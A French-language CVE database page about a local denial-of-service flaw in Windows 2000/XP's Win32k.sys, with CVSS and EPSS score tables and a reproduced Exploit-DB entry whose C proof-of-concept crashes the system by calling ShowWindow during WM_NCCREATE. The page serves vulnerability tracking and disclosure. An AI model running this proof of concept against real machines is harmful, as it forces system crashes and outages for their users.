CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
Win32k.sys (aka Graphics Device Interface (GDI)) in Windows 2000 and XP allows local users to cause a denial of service (system crash) by calling the ShowWindow function after receiving a WM_NCCREATE message.
Informations du CVE
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
2.1
AV:L/AC:L/Au:N/C:N/I:N/A:P
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
2.26%
–
–
2022-02-20
–
–
2.26%
–
–
2022-04-03
–
–
2.26%
–
–
2022-08-28
–
–
2.26%
–
–
2022-10-16
–
–
2.46%
–
–
2023-02-26
–
–
2.46%
–
–
2023-03-12
–
–
–
0.04%
–
2023-03-26
–
–
–
0.06%
–
2023-10-29
–
–
–
0.06%
–
2023-11-05
–
–
–
0.09%
–
2024-02-11
–
–
–
0.08%
–
2024-03-31
–
–
–
0.08%
–
2024-06-02
–
–
–
0.08%
–
2024-08-11
–
–
–
0.08%
–
2024-09-22
–
–
–
0.09%
–
2024-10-06
–
–
–
0.09%
–
2024-12-15
–
–
–
0.09%
–
2024-12-22
–
–
–
0.09%
–
2025-01-19
–
–
–
0.1%
–
2025-03-16
–
–
–
0.1%
–
2025-01-19
–
–
–
0.1%
–
2025-03-18
–
–
–
–
0.21%
2025-03-30
–
–
–
–
0.21%
2025-03-30
–
–
–
–
0.21,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2001-10-28 23h00 +00:00 Auteur : PeterB EDB Vérifié : Yes
source: https://www.securityfocus.com/bid/3481/info
The Windows Graphics Device Interface (GDI) is a set of Application Programming Interfaces (APIs) used to display graphical output.
A vulnerability exists which causes the GDI to invoke a Kernel Mode Exception due to a memory access error. This action will result in a system stop error (bluescreen). A reboot of the system will allow normal system recovery.
This condition may be due to an inability of the GDI API to handle requests with malformed or invalid arguments or flags.
#include <windows.h>
LRESULT CALLBACK WndProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
switch(message)
{
case WM_NCCREATE:
{
ShowWindow(hwnd, SW_SHOW);
}
return TRUE;
}
return DefWindowProc(hwnd, message, wParam, lParam);
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow)
{
HWINSTA ws = CreateWindowStation(NULL, 0, WINSTA_CREATEDESKTOP | GENERIC_ALL, NULL);
SetProcessWindowStation(ws);
HDESK dt = CreateDesktop("TEST", 0, 0, 0, DESKTOP_CREATEWINDOW | GENERIC_ALL | DESKTOP_CREATEMENU | DESKTOP_SWITCHDESKTOP | DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS, NULL); // no idea what access I actually need, I think this is just about everything
SetThreadDesktop(dt);
WNDCLASS wndclass = {0};
wndclass.style = CS_HREDRAW | CS_VREDRAW;
wndclass.lpfnWndProc = WndProc;
wndclass.hInstance = hInstance;
wndclass.hIcon = LoadIcon(NULL, IDI_APPLICATION); // default icon
wndclass.hCursor = LoadCursor(NULL, IDC_ARROW); // default cursor. One or other (or both?) of these seem to be necessary.
wndclass.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH);
wndclass.lpszMenuName = NULL;
wndclass.lpszClassName = TEXT("Crash");
RegisterClass(&wndclass);
HWND hwnd = CreateWindowEx(WS_EX_TOOLWINDOW, TEXT("Crash"), TEXT("Crash"), WS_POPUP, 300, 300, 300, 445, NULL, NULL, hInstance, NULL);
// NEVER GETS HERE.
ShowWindow(hwnd, iCmdShow);
UpdateWindow(hwnd);
MSG msg;
while(GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return msg.wParam;
}